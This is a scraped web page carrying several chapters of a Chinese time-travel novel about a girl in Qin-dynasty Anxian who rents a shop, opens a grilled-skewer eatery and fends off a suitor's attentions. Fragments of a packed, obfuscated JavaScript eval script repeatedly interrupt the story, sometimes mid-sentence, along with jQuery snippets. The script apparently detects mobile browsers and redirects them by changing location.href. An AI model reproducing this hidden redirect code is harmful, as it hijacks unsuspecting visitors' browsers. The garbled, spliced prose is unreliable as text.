l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336171|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搬那，很快她的小摊就收拾妥当，李卉便去抱那个钱箱，准备回家。 可没想到这三千多钱还挺沉，李卉一开始低估了，抱到手里一时没站住，还差点摔了个趔趄。 她暗骂自己没出息，才这么点钱就抱不住，下一秒公子幸就一个箭步接了过去： “不是你的问题，是钱本身就重，你才多大，没那么多力气也正常。” 李卉手上一松，便又有了促狭的心思： “对啊，我确实年岁不大力气也小，多谢公子幸。” 她好言好语地道谢，公子幸却听出了她的话外之意，意思是你知道我小，你还要起那样的心思？可《诗经》有云，“窈窕淑女，君子好逑”，大秦又没有哪条律法规定男女差了六岁就不能成婚？听爹娘说起过，多的是从男孩儿十五六岁女孩儿十二三岁就慢慢相看的人家呢！ 只不过自己常年在军中，爹娘要忙着养鸡，便一来二去地耽搁了。 而且他好不容易遇到一个自己心仪的，可要追到手，不然到时候万一卉娘子相看了别人如何是好？可他又不太会说太好听的，只捡方才他看到的来夸：“年岁大小只是相对的，依我看，卉小娘子方才独当一面，就很有大将军气势。” 谁都喜欢听好听的，李卉也不例外，听他说完自己也就收敛了心思，接受了他的好意，负手快步向前。 进了院门，只有阿娘和阿嫂在家。 阿嫂认得公子幸，却也发现了他手上的钱箱，便忙问原因。 因要忙着去上工，李卉便三言两语简要交代了一下，还说等夜里回来再细说。 听到动静，阿娘也出来了，也是一看到那么多钱就穷追猛打地问。 李卉无奈，只得把同阿嫂说的再说上一遍，公子幸在旁边便看着她与二位家人周旋，因是她的家务事，自己就不方便参言，但看着她像个小陀螺一般说了这边说那边，就觉得可喜又可爱。 直到阿娘说了一句，“方子租了便租了吧，那这位公子是？” 李卉一口桑叶茶还在喉间，只得跟阿娘说是市集守卫。 阿娘的目光在他俩身上看了看，心中的小算盘也打了蛮久。便从前她和儿媳妇一起到外头摆小摊时，市集守卫似还没有这年轻人啊？莫非是新来的？ 她觉得此事说简单也简单，但似乎又没有那么简单。 “他是我朋友，名叫阿幸。今日一路助我谈成生意，又帮我把钱一路送回来。” 李卉只想以此堵住阿娘的嘴，让她快别问了。 “哦，我听你大哥说起过，小黑便是从他们家买的吧？” “不止呢”，阿嫂也开了口，“后院的三只小鸡也是从他们家买的……” 啊，我勒个错综复杂的人际关系。 李卉到底是后悔了让公子幸送她回来，可公子幸一开口又似挽救了些： “是的，伯娘，阿嫂，最近不是天旱嘛，我此次来还受了我爹娘之托，过来给小鸡送些饲料，因为阿卉是头一次养鸡，就遇到这样的天气，我爹说还是过来看看好些，当然也一并看看小黑……” 阿娘和阿嫂看着他，李卉见她们表情玩味，便知她们没打算放过他。 毕竟这是她头一回带男性上门来，秦汉时期民风比后面几个朝代要更开化，阿娘正愁她何时对男女婚嫁之事上心，如今这不正是上好的机会嘛！ “阿幸今年年岁几何？家中有何人口……” 公子幸正欲开口，还好李卉眼疾手快，拉起他就往外走： “阿幸，你不是还有差事嘛？快点，我时间来不及了！” 28.稻花鱼 李卉发现喊公子幸一声“阿幸”，便是打开了他的开关，还未说完，身后便跟了条尾巴出来。 “来了！”公子幸闻声而出，李卉看着他的样子，莫名揣测了一下：这人莫非是“昵称控”吧？ 不管因为什么，反正二人是从方才那种“丑女婿上门被家人盘问”的戏码中脱了身，李卉心里实打实是感谢的。 反正去司农监和去市集的方向差不多，二人便刚好同行一段。 “阿幸，你何时开始心悦于我？” 先秦时期民风开化，李卉也是个在感情中爱打直球的人，既然你对我有情，那我便要弄清楚情之所起。 “啊？”不过显然公子幸被这个问题问得有些懵圈，脚步也有一丝的停顿，不过也就是那一丝：“就是你在市集门口吆喝那次……” 这个答案显然是在心中反复确认过，就等李卉有一天问他，所以才会脱口而出。 李卉没有立刻回应他，公子幸便又接着说了一个点，那就是专门便宜卖东西给他，“如果还不够的话，我以后再多留意一些细节……” “哈哈……”这个话说得，倒是坦诚得率真，又透露出那么点可爱。李卉满意了，便不再继续追问，就一心赶路。 可公子幸却揪住了话题，“那么，卉娘你呢？” “什么？”李卉出口便是一个反问，不过很快便明白过来，他这是在问自己是否对他有情，又是从何时开始。 这便是李卉的雷区了，她不想过早地踏入感情，但碍于自己现在又身在大秦，处在女子及笄就要谈婚论嫁的社会背景下，于是她就随口胡诌了一个看上去很过得去的理由： “哦，那便是那次在西山，你英雄一般救我的时候吧！” 可公子幸显然不肯认同，他似听出了李卉语气中的糊弄和敷衍，然后端然正色道，“不对，你骗人，你明明还没心悦于我！” 李卉心中翻了个白眼，出口就想怼他，“那你还问”，可市集入口处的喧嚣到底让她没有说出口：“公子幸，你到了。” 说着便不再继续与他同行，可公子幸最后说的那句话却搅动了她的心思。 谁说军士都是大直男的？在自己喜欢的人面前，他们啥都会！ 诚然，公子幸说对了。目前李卉确实还没有喜欢上他，不过单单今日这些对话和问询，倒让她心中的天平朝他倾斜了一些：都说结婚是跟一个人的品行最低处过活，他如此真诚率性，人品可见一斑呐！公子幸也未尝不是一个人选嘛，当然前提是目前还没有其他适婚男性闯入哈！ 因为一路都在想着这些问题，她上工确实迟了一些。 平日里总是准时到，所以临娘和荇娘便多问了她一嘴。李卉当然不能将真实的原因说出来，而是将自己想要租铺子的想法拿出来挡了下。 “你这样想挺好的”，临娘老成持重，也给了肯定的意见，“不然你一个小女娘，等真到了冬天，站在人家的屋檐下摆摊，想想都觉得凄苦呢！” “是啊，虽说是能挣钱，但那也累呀”，荇娘自说嫂子家便是走街串巷卖东西的，后来也是过了好多年，他们家才有了自己的铺子，“现在我阿嫂说起从前的日子，都还要抹眼泪呢。” 后厨忙活的那些师傅们也都凑了过来，相处这么久，大家都知道了彼此的为人和秉性，都说要帮着留意，若是有合适的铺子，就会跟她说。 他们还都佩服李卉的商业头脑，“如今天旱着，定会有些商铺会低价转租，等后头年景好了，就会一帆风顺啦！” 李卉对于他们的好意也都照单全收，因为她本就是这样计划的。 接下来她便又按部就班地去上工，去摆摊，到七月最后一天时，她领到了第四份工钱：五百钱。正式的工钱是四百五十钱，另外的五十钱是包在另一个红封里的，李卉揣度着，这便是前世到年终的绩效吧。 有了这些钱，再加上后来大哥陪她去吴家食肆取的另外的三千五百钱，按比例分了之后留下的，还有这段时日以来自己身上所有的钱，整整有八千钱之多。 “秦朝没有银行就是不方便”，李卉有了幸福的烦恼，“嗯，等我攒到一万钱，就去看铺子。” 这个flag还没有实现，大哥却和她因为家庭收入的分成又闹了一场。 “卉妹，原是我这个当大哥的对不住你”，大哥本来就有些生气她不跟家人商量便将手上的方子卖掉，虽然她也安慰过大哥，说是嫂嫂怀孕是大事，家中得多备些钱，到时候找接生婆和郎中，买补品等都用得到。 “可你要自己租铺子，手里就应该多留些，反正我们都够用，现在是你最急需用钱，怎么还按原来的比例给我们呢？” 李卉却道这是一开始就定好的，大哥却红了眼，见她执意不收他退回的钱，撂下了一句很重的话：“你这是什么都要自己扛，摆明了就是没把我们当家人！” 虽然李卉被这样“道德绑架”了一番，但她心里却是甜的。 她再一次庆幸自己穿越到的是一家三观超正的家庭，哥嫂不是吸血鬼，自己也不是扶弟魔，大哥都把话说到了这个份上，那些钱再不收便真就生分了。 于是她“怂怂”地将钱收了，加上自己的钱，刚好就是一万钱。 她心下一横，不仅收了，还向他们张口借了一些： “荇娘跟我说了，现在的一个铺子月租是一千钱，如果一次性付一年的钱，就能再多租一个月，所以阿爹阿娘，大哥大嫂，可否再借我两千钱？” 阿嫂见她松了口，自己也松了一口气，“我就等着你开口呢！” 说着便大着肚子抱着个钱匣子往李卉手里一塞：“这里是一千钱，先拿去用。多的我们也没有了，就像你说的，小福娃出生，也需要用钱嘛。” 爹娘还真拿出两千钱来，说都是这段时日她给的还有这些年手里积攒的，见李卉感动得要哭，就又安慰道：“放心，我们都和你大哥大嫂一样，留够了钱的。” “这才像一家人嘛”，大哥给了钱，想着她手里的钱应该够了，这才和颜悦色地像往常一样跟她说话，“以后有事就一定要说，你不和家人说，又和谁说呢？” 就冲着这句话，李卉知道阿嫂当初为啥要嫁给大哥了。 钱的问题解决了，她便托荇娘让她阿嫂帮忙寻摸着铺子。 因她阿嫂喝过她做的杏皮水，便说很乐意帮这个忙。 “我阿嫂还夸你呢，说你心灵手巧，厨艺又好，做什么都会好吃的！铺子也一定会红红火火！”荇娘吃着李卉从自家稻田里捞的鱼做的稻花鱼，边吃边夸她。 “那便借你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340479|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿嫂吉言啦”，鱼肉嫩滑又劲道，李卉也很高兴。 七月底，正是水稻成熟的时候，虽然天干稻子减产了许多，但丰收的喜悦还是让人很高兴的。 因为春种时蓄够了水，之前她买的鱼苗倒是没怎么受影响地就长大了。做这稻花鱼，一方面是为了给阿嫂做加餐开胃菜，另一方面也是一个创收。 阿嫂吃了她做的鲫鱼汤胃口好了许多，另一些便又由她自己做主去跟之前兼职学子们春耕饭食的学宫谈判，对方同意她每日送过去五条鱼，给学子们加菜。市面上一条鱼要卖十五钱，她五条鱼便也四舍五不入地算了七十钱。 阿嫂问她：“稻花鱼养来也不易，咱们为何要自己将那些零头抹去？” “风物长宜放眼量呀，阿嫂”，李卉有自己的算盘，“咱们稻田里的鱼是有定量的，只要不砸自己手里，卖出去一条是一条嘛。” “这样也对。” 况且，她还要拿鱼去司农监那边，糊住荇娘的好吃嘴，才能让人尽心找铺子呀。 就在李卉以为租铺子的事要等到八月了，结果离八月还有三日时，荇娘告诉她，铺子的事有谱了。 “我家阿嫂一共帮你看了三家铺子，一个是你现在摆小摊的长平街上，这家铺子的东家说是吴家食肆的远房亲戚，因经营不善，故而想要盘出；另外两个则都要远些，在长宁街上，一个的东家是一对老夫妇，他们要回安县远郊去养老，第三个原本就是个食肆铺子，只是东家要离了安县去郡城，全家都搬去，一时半会儿应该不会回来，所以也要盘出去……” 荇娘一口气说完了这三家铺子的情况，李卉先是谢了她和她的阿嫂，而后便又说要回去想一想，再和家人商量商量。 “不急的”，荇娘道，“我阿嫂也让我给你带话，说你一定要考虑周全了，不然后患无穷咧。” 是的，得考虑清楚，不然后患无穷。李卉也是这样告诫自己的。 长平街和长宁街都是安县有名的两条小吃街，只是二者火的重点稍有不同，长平街主要是白日市集，长宁街就是靠夜市起家。 “吴家食肆那家的首先就要排除，因为我才和他家老板做了生意，而且往后铺子开起来，同在一条街上，又是同行，难免会有竞争；老夫妇那家，是在长宁街的偏僻里巷，我一个食肆肯定还是要选一个当道的，人多的，生意才好嘛！” 回到家中，大家问她的意见时，李卉便是这样说的。而仅剩的那一家，不仅在长宁街上的黄金地段，重要的是这家商铺的运道好啊，前东家都举家搬迁去郡城拓展商业版图了，如果她下手不快些，估摸着过了这个村就没这个店了呢！ 只是租金还要贵上些，一个月是一千一百钱。 她手里满打满算才一万三千钱，对方看她诚心想租，又看在荇娘阿嫂的面子上，这才把零头抹了，双方愉快成交。 于是，七月的最后一天，李卉终于有了自己的铺子。 全家人虽然可以说是掏空了所有的钱袋子，但还是很高兴，毕竟有了自己的产业，这就是兴家的第一步啊。 李卉则更加高兴，离她要当安县首富的目标，又进了一小步呢！ 只是有一个人不太高兴——他是长平街的市集守卫，他的心悦之人却到了长宁街，这距离，谁受得了？ 29.食肆开业 都说人逢喜事精神爽，自家有了铺子，李卉干什么都比之前更起劲。 劲头一直有，但也比刚签了契书那会儿还是要理性得多。 趁着司农监那边的旬休，又不用摆摊的市集日，李卉一早吃了朝食，便来了长宁街。她用手里的钥匙开了门，进了这个一睁眼就是三十六钱租金的铺子。 铺子当街，还在长宁街上最繁华的街巷拐角路口，所以不愁生意，但李卉往里头转了一圈，再四周看看屋内的空间，只够摆下两三张小食案，还有半截是往外头支出去的木窗，最终还是不无遗憾地说了句：“这也太小了点。” 不仅小，前东家也是个精打细算俭省的，几乎把这个巴掌大铺面里的陈设都搬空了，李卉站在其间，才真正明白什么叫“家徒四壁”。 不过遗憾也就是一小会儿，有了铺子就是喜事，现在小，以后慢慢一步步把它变大不就是了，李卉前世时长在红旗下，最不缺的就是积极性和正能量： “自己动手，丰衣足食，这日子才能有奔头嘛。” 再往里走，李卉发现紧挨着前院的是两进小隔间，刚好一间厨房一间卧房。 “这倒是麻雀虽小，五脏俱全了，往后铺子开起来，市集落了锁，我就不用着急忙慌往回赶了。” 她还想着长平街白日市集的那一套规矩，可等往回走时却发现门口白天是没有守卫的，她才一下子明白过来，长宁街是夜市，县衙那帮人没事干才会白日派人来守街呢！ 如此她便更加放心，就专门去料理长平街上小吃摊的诸多事项。 首先是小吃摊的招牌和那台小摊车（一开始本来只是两个木板搭起的架子，后来还是她凭着前世记忆画了一个草图出来，让大哥琢磨好久才做出来），“卉娘小吃摊”是她的来时路，她没打算扔；小摊车更是大哥的心血，她更没打算扔。 于是她便去找粥铺梁老板，让大哥跟着她一起，把这两个东西都搬到长宁街来。 却说那梁老板也是后来无意间听到粥铺那两个跑堂小哥说起，才知道她要换地方了，嘴上说着往后吃不到她现做的肉夹馍，心里却想着此后少了个竞争对手，面上的笑容便越发真诚起来：“前些时候外出收账，还没来得及向小娘子道贺，恭祝此后生意更加兴隆，事事如意皆发财！” “多谢梁老板吉言，这段时日承蒙梁老板照顾，做生意嘛，大家都一起发财。”李卉嘴上这样说，心中却是另一般想——自己羽翼尚未丰满之时，难免会寄人篱下，这也是还了此前阿娘和大嫂承蒙他照顾的情；但她也因此并不欠梁老板的，不消说光是肉夹馍的人情她都送了不知多少个呢！ 李卉也学了长宁街那铺子前东家的做法，自己用的趁手的一应物件都要搬过去。 也包括她的那个宝贝烧炭炉子。 是以她和大哥租的那辆牛车都险些搁不下，李卉心中也被这些填得满满当当，踏实感和满足感充盈其间，让她对未来又一次燃起希望。 “这应该是我以小吃摊摊主的身份最后一次走在长平街的官道上了吧？” 李卉让车夫故意慢些，她好看看这条喧嚣的长街。 二月到七月，差不多半年的时间，除了家，这里便是她最熟悉的地方了，如今要搬走，虽说是喜事一件，但心下难免还是感慨的。 尤其是在她看到市集门口处的公子幸，她知道了他对自己的心意，便没办法等闲视之，可在大庭广众之下，若做些什么又太招摇了，她便没下车，大哥去应对。 例行检查的流程很快走过，都走出了门好大一截，大哥才递过来一个红纸包着的木头猫：“阿卉，公子幸怎会知道我们要搬到长宁街去了？他还送了个招财猫。” 李卉把那猫儿握在手里，轻轻一碰那立着的左边爪子，猫爪就会摇啊摇。 很有喜庆的好意头，她掀开了牛车的门帘往后看了一眼，然后又缩进车厢，好好地把猫儿收着，“他在市集衙署当差，要想知道一个摊贩搬走，也不难啊！” 大哥坐她对面，“嗯……我是说，他为何特意要送礼？” 李卉刚想说点什么，却又听他道：“估计是因为小黑，我俩之间就有了交情……” “……”，李卉失笑，但也不辩驳，但却心道，这个大哥啊，现在全家估计就你不知道这个人对你妹妹的心思了吧？！ 也是，大哥也没怎么在家中，回来两人又忙着要小福娃，阿嫂现在又不方便，大哥又忙前忙后帮着忙活铺子，哪里还有功夫打听妹妹的闲话。 东西都搬回来，拉到了新铺子这边。 铺子里虽然小，但窗户支出去的外头还有小半块空地，拿来放个小摊车刚合适。 这样屋里屋外都有生意可做，李卉都佩服她自己了。 接下来的几日，李卉并没有一股脑地扎进新铺子，而是照旧去司农监那边上工。 租了铺子虽是很大的事，但也大不过上工，前世她可是“天选打工人”来着。 最主要还是因为租了铺子她又捉襟见肘起来，天旱以后，梁记粥铺那边也停了肉夹馍和豆腐干的供应，小吃摊那边忙不过来没开张便没收入，新铺子这边也还没收拾妥当，可睁眼就要花钱，目前唯一能有进项的就是司农监那边，很快又要发工钱了，她可不能出了差错！ 再说了，司农监那边还有日日催问食肆开业进度的荇娘呢。 每天只要把后厨的那顿暮食做好，她便围着李卉问东问西。 今日问，“食肆匾额做好没有哇？” 明日又问，“食肆所需的食案备齐了没呀？” 第三日还追着问，“一个人忙得过来吗？要不要招人？” 最后那些师傅们都来捧场道，“开张可要翻翻《日书》，让你家大人帮忙参详个吉日哦！” 在他们眼中，李卉虽然个头长得高些，但到底是十二三岁的小娃娃呢！ 是的，以上的这些问题，也就是一家食肆开张前最核心的了。 之前小吃摊没有匾额，只有个立在一旁的招牌，李卉也没打算将它弃而不用，还是照旧摆在小摊车跟前，和食肆的生意进行一个互补；一个正经的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李卉想的是细水长流，不然大张旗鼓地剪彩，白费那么多钱，万一开不起来岂不更亏？这就好比前世时她家小区门口那些不景气的店面，刚开张时各种花束、大麦堆了一屋子，结果没三个月就又改换了门庭，真折腾啊。 梁记粥铺的梁老板、吴家食肆的少东家也都没有亲自来，而是派了个管事的过来送了礼便走，李卉觉得这样甚好，虽然必要的人情世故是可以的，但若一味钻营在这里头，便又是下策了…… “哎，小卉娘呀”，李卉看了看匾额，又看了看摆在窗台上的那个招财猫，五味杂陈道，“还有得学呢！” 食肆开张后不到五日，八月初九那天，一场漂泊大雨便酣畅淋漓地下了下来。 这场雨太及时了，终于解了这一个多月来的旱情。 大家喜气洋洋的，也有心情夜里来四处逛逛，买些吃食。 这样一来，夜市的烟火气便又燃了起来。 “这场雨下得，还比预料之中的早！”李卉正往她面前的烧烤上撒调料，再刷一层炼化以后的油脂，香味立马钻进鼻腔，“看来铺子开得真是时候哇！” 心情尚好的她，抬头便能看到那只招财猫，她还伸着手摸了摸，“招财，招财，小卉娘一定发大财，对不对呀，小猫？” 30.柳枝烤肉 长宁街上食肆如云，薄暮时分便挨着掌灯，竟能亮如白昼。 旱情过后的八月，也有了一些秋凉的意味，大家吃吃逛逛，逛逛又吃吃，看到卉娘食肆在卖新鲜的烧烤，六钱一串，多的是人来买。 主顾们见又是一个手脚麻利收拾齐整的漂亮小娘子做店主，肉烤得又好吃，卉娘食肆的位置又当道，故而每天的生意都还不错。 “咱们长宁街上专门卖烧烤的食肆不多，小娘子当真是个妙人！” “是啊，不然也赚不了我们的钱嘛！这只招财猫也可爱，是在哪里买的，小娘子可否告知，我也去做一个……” “呷，你这三言两语就想套出店家的话来？没准儿人是自己刻了放这的呢！” 又一夜的营业时间刚到，她才洒扫干净，把招财猫摆在原先的位置，没一会儿它便替食肆招来了一连串的客人，以上的话都是李卉在把烧烤翻面刷油时，离她最近的两位小娘子说的半假半真的玩笑话。 李卉只顾着烤肉，也不接她们的话茬，实则心里早就乐开了花。 当然喽，谁开了铺子不指望着赚钱啊？ 可长宁街上食肆到处都是，开了卖什么，怎么卖，里头就是一门大学问了。 这就不得不说到前世她在大学时偶尔去经济学院旁听的那些课程，她对“市场营销心理学”略知皮毛，可在这里也够用了—— 铺子开业前，她除了准备一应物资，还在长宁街上走过好几趟，对这条街上有哪些门店，经营状况如何都摸了个门儿清。 长宁街上，最高端的要数长宁食肆，只不过这里是县城里的达官显贵们享用之所，卉娘食肆自然不能将它当成目标对象；除此之外便是一些中档食肆，但它们所营的就是秦人最爱的酱或羹，要不就是蒸煮；哦对，长宁街上还有几家别国商社开在安县的分店，打个不恰当的比喻，这个就类似于前世各省开在北京的驻京办餐厅，虽然偶尔也有做一些秦人关中美食，但到底不是特别地道，这里便也排除开来；眼光再往下些，便是和她当初在长平街上一样，随处支着的小摊儿。 路过这些小吃摊的时候，李卉甚至还在担忧，这要是寒冬腊月里可怎么好啊？ 不过，几趟下来，她也终于对自己的食肆有了初步的定位—— 自己是长平街的熟客，小吃摊有它的主顾们，可对于长宁街来说，她就纯粹是新人一个，客源自是没有的。那要怎么办呢？ “要想抓住客源，就先抓住他们的胃”，李卉化用了前世随意听来的一句话给自己打气，将自己的食肆定位成中低档，类似于前世的海鲜大排档，而安县地处关中内陆，没有海鲜有河鲜啊，西山上还有各种野味啊，拿来一烤，刷油蘸酱便出炉就卖，主打一个快手赚钱！而且自古便是煮的没有烤的香，她庆幸自己找到了这样一条捷径！因为现在的这些中档食肆里头没有几家是卖烧烤的。 仅存的一两家里，烧烤只是副业，李卉为探人虚实，还去点过菜，不过都是点了拿回家，让爹娘和大嫂一起吃了来点评的。 “肉烤得太焦了，一股子糊味……”大嫂道。 “是的，我看这菘菜也烤老了，嚼起来咯牙……”阿娘道。 李卉也有同感，当然她也问了阿爹和大哥，但他们都没说出个所以然来。 反正这些男子只要有酒喝，怎样难吃的烧烤都会觉得好，说了也无用。 综合下来，卉娘食肆开门迎客，第一道菜便选择了烧烤。 而且店里目前不卖其他，主营就是烧烤。 对于这个决定，李卉也是三思了的。 一来店面小，做其他的费事又施展不开；二来节约人手，也主要是食肆初创，主打一个特色，或许能杀出重围；三来是这些日子她养鸡颇有所成，不仅自家的鸡从三只到了八只，还跟公子幸的爹娘谈了一笔小生意，夜市上穿在柳枝上烤的肉正是他们家送的！ 要说她怎么避开和公子幸见面，却又不避讳和他的爹娘做生意呢？ 这便不得不说到李卉的“公私分明”了，只可惜后来的她才知道，这世上啊，很多事情都不是一个“公”或一个“私”能够简单划分的。 至少在公子幸这边看来阿卉还是心中对他有情，不然怎么不去买别人家的鸡呢？ 这样一想后便觉得一个在长宁，一个在长平，也没所谓了，反正食肆里那只招财猫每天都在，还有这些鸡肉，得了闲他也要去光顾一下，试试柳枝烤肉的味道！ 卉娘食肆的生意渐渐有了起色，李卉知道，这得益于全家人的尽力托举。 现在不去长平街摆摊，只每日去司农监上工，到了夜里就到食肆这边来，掌灯开烤，若是实在累了，就歇在后院，第二日再回家。司农监那边的钱每月旱涝保收，平摊下来每天二十钱，这样就算烧烤卖个三四串，这样一天的租金就有了！ 可用脚趾头想也知道，烧烤食肆一晚上怎么会只卖三四串？ “天啊，我好想快点到月底，这样就能知道，咱们食肆这个月赚了多少钱了！” 提到赚钱，她就很是兴奋。 可还没等到月底，大哥便再次接到了征令。 跟前几次不一样的是，这次是真的去前线打仗。 得令后，家中便忙不迭地给他准备衣衫、鞋袜，李卉除了吃食无甚可送，便又去房梁上拿了两块风干肉下来，行军风餐露宿，家人的愿望在此刻再朴素不过“努力加餐饭”罢了。 “河东那边有了战事，这怕又要一年半载不落屋了……”临行前，大哥扫了一眼自己身怀六甲的妻子，再看一眼已是暮年的爹娘，最后才把希望又一次寄托在年轻的妹妹身上：“家中诸事，还得卉妹倾心照看，爹娘，请恕儿子不孝，我必定珍重自身，奋勇杀敌，挣了军功回来给你和孩儿荣耀。” 大哥说了好长一串话，大家各领各的那句，目送他出了门。 “汪汪汪！”已从小狗变成中狗的小黑，也冲出门来，冲着大哥背影叫了半天。 虽然秦军好战，但史书上的每一次战役，几乎都是将士们的枯骨累起来的，而这次的河东之役，李卉却怎么也想不起来，是何结局。 所以她看不得阿嫂期期艾艾却又不得不让大哥去的眼神，不知怎么，李卉想起公子幸来，“他这个差事倒好，起码不用让家里担心……” 而被念叨的公子幸，正在家中后院的鸡舍旁，重重地打了个喷嚏： “今日不当值，爹娘，我去送鸡啦！” 大哥是吃了朝食离家的，李卉将碗筷收拾收拾，便开始准备今日晚上的食材。 基于面向中下层消费者的开店思路，她的食肆不单单只供应烤肉，还有各类的小菜，主打就是一个拓宽市场，让每一个嘴馋的人都能在食肆找到心头好。 “今日伯娘她们好像送得晚了点……”李卉边洗韭菜，嘴边也不停。 “许是路上有什么事耽搁了，再等等，不急。”阿嫂扶腰挺个大肚子慢条斯理。 “也是”，李卉见小黑到了脚边，“狗儿又长壮了？一场旱情竟没让它吃亏！” 阿嫂见她的关注点终于到了生意之外的事情上，倒也喜欢她这样的孩子气： “一顿都没少它的，能不壮实嘛！壮实了好，看家护院才行！” 李卉知道阿嫂目前的状态喜欢伤春悲秋和迎风落泪，所以也就不接茬，话题又扯到了生意上去。 谈到赚钱，谁都兴奋。 况且她还专挑阿嫂爱听的说—— “阿嫂，你没去铺子上，不知还有之前长平街上的一些老主顾也来光顾呢……” 这话没有夸大。 尤其以梁记粥铺的熟客为最多，他们吃过卉娘的豆腐丝和肉夹馍，旱情过后，始皇帝又特意开恩，允许今年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349015|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋税延缓到明年秋收以后。 所以食客们的心情又活泛起来，那梁老板便乐意做个顺水人情，告知了他们卉娘另起炉灶开食肆的事儿。 那些人来了，觉得她小小年纪就开了食肆，怎样都要来照顾一下生意。李卉心中感念，还要额外送他们一杯一钱的荷叶茶，但柳枝上的肉串却不会多，这样免得新客觉得厚此薄彼嘛。 “那敢情好”，阿嫂偶尔也出门去走走，她将近日听来的一则事项说于她听。 “我前几日去市集卖鱼，路过吴家食肆，里头的食客简直座无虚席”，她知道门口写的肉夹馍和豆腐干丝是卉娘的拿手菜，可买了一碟豆腐干丝来吃，却又觉得味道跟之前在家中做的不同，“你是不是帮着他们又改进了一些？” “是啊”，李卉答得坦荡，之前说好的，帮着改良一下，也不怎么费事。 反正“帮着改进”，也是写进了当时赚的七千钱契约里的，这些都是慢慢替她的新店赚口碑呢。 因肉夹馍曾经只是小吃摊路边上的李卉首创，如今上了高端食肆的餐桌，价格贵了不说，味道也比之前更好，那些饕餮们自然也就知道了其中的关联。而那吴家食肆的少东家也是个敞亮人，直言是请李卉来改良过，还说她于庖厨很有造诣，每次食肆出新菜，都要让李卉给意见呢。 食客们多爱跟风，都想来看看到底是谁，能给吴家提意见？ 又听吴老板提及长宁夜市上的卉娘食肆，也就闻着味儿来了。 生意啊，就是人情往来。 往日老板们欠她的，目前都慢慢地在还于她。生意慢慢做起来后，人情就会越欠越多，也越还越多，卉娘食肆有他们帮着造势，又加上她本身厨艺好，还爱琢磨，生意如何能不好呢？ 不过，姑嫂俩都唠完了，鸡还没送来。 李卉的心又要悬起来了，估摸着时辰，她该出发去上工了。 鸡送来后还要洗和剖，还要穿串码味，家中只有阿娘和阿嫂两个，如何赶得及？ 阿娘却闻声出来将忧心忡忡的她赶出家门，“你放心去，家中有我们呐。” 也只有如此了，可等李卉按时去食肆时，却发现阿娘已经开了食肆的门。 身后还跟着一个人——公子幸。 她刚张嘴问“阿娘您怎么来了”，阿娘的话便滔滔不绝，满是对公子幸的赞誉： “哎哟，阿幸真不错！半下午送了鸡过来，就一直不停地忙活，还说要送到铺子上才放心，你阿嫂如今月份大了，我便同他一起来了，出力的主要还是阿幸，我只是帮着搭把手……” 公子幸今日一身常服，阿娘健忘，便不记得他是之前长平街的市集守卫。 只一味地说她这个朋友交的好，一下午又是洗又是破，还把柳枝劈短，再削光滑，七八只鸡的鸡肉分门别类地串好。不仅如此，还有那些素菜，鸡蛋，鱼肉等也都洗得干干净净，就等客人来点单了。 “这下省了你好多功夫啊！”阿娘以一句话收尾。 确实是，李卉心中是感激的，但一想到公子幸今日并没有按规定时辰送到，害她担心一下午，心中就有些来气。 可他后面又实在做了太多来弥补，不如，就这样算了？ 李卉脑子飞速运转的时候，脸上的表情也阴晴不定，她越是不说话，公子幸就越紧张，三五两句自己就全招了： “我今日本来出门得早，但路上遇到个惯偷，偷了一个小儿郎的钱袋子，我便去追了回来后发现鸡少了两只，于是又回了趟家去拿，到你家时，阿嫂和伯娘说你都走了，我就想反正今日无事，就多做了些，如此可以功过相抵吗？” 原来是见义勇为去了啊！ 得知缘由后，又当着阿娘的面，李卉有什么也不好直言。 于是她道，“多谢多谢，还请公子幸宽坐，阿娘也坐，我去给你们烤肉吃。” 31.郑国渠啊 听说李卉要给他们烤肉吃，阿娘便又自豪地夸起自家闺女来： “阿幸，你定是还没吃过我家卉娘的做的菜吧？她啊，自大病一场后，回来简直变了一个人，厨艺是顶顶好的……” 李卉正用火折子给木炭燃火，因为店面小，阿娘的话一字不落地进了她的耳朵。 她苦苦搜刮着原身的记忆，愣是没找到阿娘夸她比这次还要明显的一回。她不由得感慨，看来不论哪个时代，父母们都喜欢的是可以拿得出手的小孩啊！ 她有些替原先的卉娘可惜，“看来有时候连父母的爱都是有条件的啊！” 不过自她穿过来，变成了家人所期待的那个“卉娘”后，的确享受了原身不曾听过的阿娘式温言细语。这一点，对身处异世的她来说，尤为珍贵，所以她很感恩。 自然，感恩不是嘴上说说，李卉给阿娘烤了一条鱼，撒了葱花沾了酱： “阿娘，你不爱吃烤肉，我便烤了这鱼，快试试味道如何。” 四指宽的小鲤鱼烤得两面焦黄，肉质细嫩，焦香扑鼻而来。 